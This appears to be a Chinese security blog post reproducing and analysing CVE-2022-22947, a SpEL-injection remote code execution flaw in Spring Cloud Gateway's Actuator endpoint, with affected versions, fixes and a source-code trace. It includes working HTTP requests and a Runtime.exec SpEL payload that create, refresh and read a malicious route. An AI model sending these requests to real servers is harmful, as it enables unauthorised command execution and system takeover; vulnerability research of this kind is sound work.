Spring Cloud Gateway RCE漏洞原理分析与复现(CVE-2022-22947)

前言

个人博客地址,更多渗透知识 => https://www.zwnblog.com

漏洞等级:高危

3 月 1 日,VMware 官方发布安全公告,声明对 Spring Cloud Gateway 中的一处命令注入漏洞进行了修复,漏洞编号为CVE-2022-22947
Spring官方发布

漏洞描述

使用 Spring Cloud Gateway 的应用如果对外暴露了 Gateway Actuator 接口,则可能存在被 CVE-2022-22947 漏洞利用的风险。攻击者可通过利用此漏洞执行 SpEL 表达式,从而在目标服务器上执行任意恶意代码,获取系统权限。

影响范围

  • Spring Cloud Gateway 3.1.x < 3.1.1
  • Spring Cloud Gateway 3.0.x < 3.0.7
  • 其他旧的、不受支持的 Spring Cloud Gateway 版本

漏洞利用前置条件

除了 Spring Cloud Gateway 外,程序还用到了 Spring Boot Actuator 组件(它用于对外提供 /actuator/ 接口);

Spring 配置对外暴露 gateway 接口,如 application.properties 配置为:

# 默认为
truemanagement.endpoint.gateway.enabled=true
# 以逗号分隔的一系列值,默认为 health# 若包含 gateway 即表示对外提供 Spring Cloud Gateway 接口
management.endpoints.web.exposure.include=gateway

解决方案

  • 3.1.x 版本用户应升级到 3.1.1+ 版本,3.0.x 版本用户应升级到 3.0.7+ 版本。
  • 或者在不考虑影响业务的情况下禁用 Gateway actuator 接口:如application.properties 中配置 management.endpoint.gateway.enabled 为 false。

复现

1、引入Spring Cloud GateWay依赖

<dependency>
	<groupId>org.springframework.cloud</groupId>
	<artifactId>spring-cloud-starter-gateway</artifactId>
</dependency>

2、引入 Spring Boot Actuator依赖

<dependency>
	<groupId>org.springframework.boot</groupId>
	<artifactId>spring-boot-starter-actuator</artifactId>
</dependency>

3、修改配置文件

management.endpoint.gateway.enabled=true
management.endpoints.web.exposure.include=gateway

Actuator操作Gateway接口列表

http://host:port/actuator/gateway/id

id HTTP Method 描述
globalfilters GET 返回全局Filter列表
routefilters GET 每个路由的filter
routes GET 路由列表
routes/{id} GET 指定路由的信息
routes/{id} POST 创建路由
refresh POST 刷新路由缓存
routes/{id} DELETE 删除路由

BP工具

可以先在浏览器抓包获取报文信息

打开BP工具Repeater模块,并粘入一下内容,创建路由

POST /actuator/gateway/routes/hacktest HTTP/1.1
Host: localhost:9000
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/97.0.4692.71 Safari/537.36
Connection: close
Content-Type: application/json
Content-Length: 329
{
    "id": "wuyaaq",
    "filters": [
        {
            "name": "AddResponseHeader",
            "args": {
                "name": "Result",
                "value": "#{new
String(T(org.springframework.util.StreamUtils).copyToByteArray(T
(java.lang.Runtime).getRuntime().exec(new
String[]{\"whoami\"}).getInputStream()))}"
                }
            }
        ],
        "uri": "http://example.com"
}

微信截图_20221016145051.png

执行,服务端返回200,且创建成功

微信截图_20221016145229.png

主动刷新路由

粘入一下内容并且发送

POST /actuator/gateway/refresh HTTP/1.1
Host: localhost:9000
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Connection: keep-alive
Content-Length: 3
Content-Type: application/x-www-form-urlencoded
Origin: null
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: cross-site
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:97.0) Gecko/20100101 Firefox/97.0

a=1

微信截图_20221016145343.png

服务器返回刷新成功

微信截图_20221016145446.png

通过id获取路由

粘贴入一下内容发送,查看服务端响应信息,获取代码执行结果

GET /actuator/gateway/routes/hacktest HTTP/1.1
Host: localhost:9000
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:97.0) Gecko/20100101
Firefox/97.0
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,
*/*;q=0. 8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1

微信截图_20221016145543.png

总结

因为指令传入的是whoami,所以返回了用户信息,此处可以更换为任意指令(如生成一句话木马,反弹shell连接等)从而造成远程代码执行漏洞

原理分析

为什么添加过滤器(路由)会导致代码执行?

流程

  1. 开启Acutator,可以通过接口列出路由(包括过滤器),如:/actuator/gateway/routes
  2. 可以通过/gateway/routes/{id_route_to_create} 创建路由
  3. 通过/actuator/gateway/refresh刷新路由
  4. 当路由带有恶意的Filter,里面的spEL表达式会被执行

payload分析

#{
new String(T(org.springframework.util.StreamUtils)
.copyToByteArray(T(java.lang.Runtime)
.getRuntime()
.exec(new String[]{\"whoami\"})
.getInputStream()))
}

通过.getInputStream()得到执行结果,再通过.copyToByteArray得到字符数组,再通过String对象转为字符串

源码分析 ——从刷新到获取

RouteLocator

RouteLocator是路由定位器,是用来获取路由的方法。其实现该接口的主要组成类有多种,但本次分析漏洞只需要重点了解一下两种:

  • RouteDefinitionRouteLocator:基于路由定义的定位器,也是RouteLocator的主要实现类
  • CachingRouteLocator 基于缓存的路由定位器
  • CompositeRouteLocator:基于组合方式的路由定位器

RouteDefinitionRouteLocator

org.springframework.cloud.gateway.route.RouteDefinitionRouteLocator是RouteLocator的一个实现类,其主要从 RouteDefinitionLocator会通过getRouteDefinitions()方法来获取 RouteDefinition,并将其转换成Route。
微信截图_20221016155308.png

再从代码层面来仔细看看这个转换的过程

  • getRoutes方法首先通过this.routeDefinitionLocator.getRouteDefinitions()获取到了所有的RouteDefinition
  • 之后再通过this::convertToRoute方法将每个RouteDefinition转换成Route

CachingRouteLocator

org.springframework.cloud.gateway.route.CachingRouteLocator,缓存路由的RouteLocator实现
该RouteLocator实现了ApplicationListener接口,主要是监听RefreshRoutesEvent事件。

CompositeRouoteLocator

这个上面有粗略介绍过,这是一个组合的路由定位器,其主要的方式是把RouteDefinitionRouteLocator和自定义的Route Locator作为自己的delegates,在需要取所有Route的时候,就会委派自己的delegates去取,然后将其结果合并返回。

RefreshRoutesEvent

这个就不过多解释了,就是一个刷新路由的事件。

获取路由则调用了RouteLocator的getRoutes方法

微信截图_20221016163818.png

源码分析总结

用最后的话分析就是CachingRouteLocator它包装了CompositeRouteLocator,而CompositeRouteLocator则组合了RouteDefinitionRouteLocator。而CachingRouteLocator集成了RefreshRoutesEvent接口,所以之后的刷新请求就会走到CachingRouteLocator中处理。

漏洞分析

先找到org.springframework.cloud.gateway.actuate.GatewayControllerEndpoint类,该类是Actuator访问的Controller处理器

GatewayControllerEndpoint类集成了org.springframework.cloud.gateway.actuate.AbstractGatewayControllerEndpoint类,而该类里面,有一个定义好的Post请求,可以发送RefreshRoutesEvent刷新路由。
微信截图_20221016155916.png
其发送的就是一个RefreshRouteEvent事件。

之后流程会进入到org.springframework.context.support.AbstractApplicationContext#publishEvent中处理

之后RefreshRouteEvent会按照正常流程进入multicastEvent中,这里我直接跟到图中显示的doInvokeListener方法中
微信截图_20221016161104.png
这里就会直接进入到org.springframework.cloud.gateway.route.CachingRouteLocator#onApplicationEvent中

而在onApplicationEvent方法中又会调用this.fetch()
微信截图_20221016161314.png
微信截图_20221016161351.png
之后程序会进入org.springframework.cloud.gateway.route.CompositeRouteLocator#getRoutes
这里又继续调用了RouteDefinitionRouteLocator#getRoutes方法,就到了我们刚才分析源码的时候提到过的流程,在这里会调用getRouteDefinitions()获取RouteDefinition来转换成Route。

这里进入convertToRoute方法后重点关注RouteDefinitionRouteLocator#getFilters方法
微信截图_20221016161831.png
微信截图_20221016161905.png
这里会调用this.loadGatewayFilters()中通过GatewayFilterFactory来创建一个Filter
但是在创建Filter之前,也就是封装configuration的时候,在bind的信息的时候,我们的Spel表达式执行了
微信截图_20221016162308.png
之后就进入org.springframework.cloud.gateway.support.ShortcutConfigurable$ShortcutType$1#normalize方法
微信截图_20221016162542.png
流程走到org.springframework.expression.spel.standard.SpelExpression.getValue中
微信截图_20221016162715.png
而调用getValue传入的entryValue参数内容就是恶意的Spel表达式

#{
    
    T(java.lang.Runtime).getRuntime().exec("whoami")}

该方法中Expression会解析SpEL表达式
微信截图_20221016163116.png

同理,在获取路由时也会产生上诉问题。

猜你喜欢

转载自blog.csdn.net/qq_49619863/article/details/127350543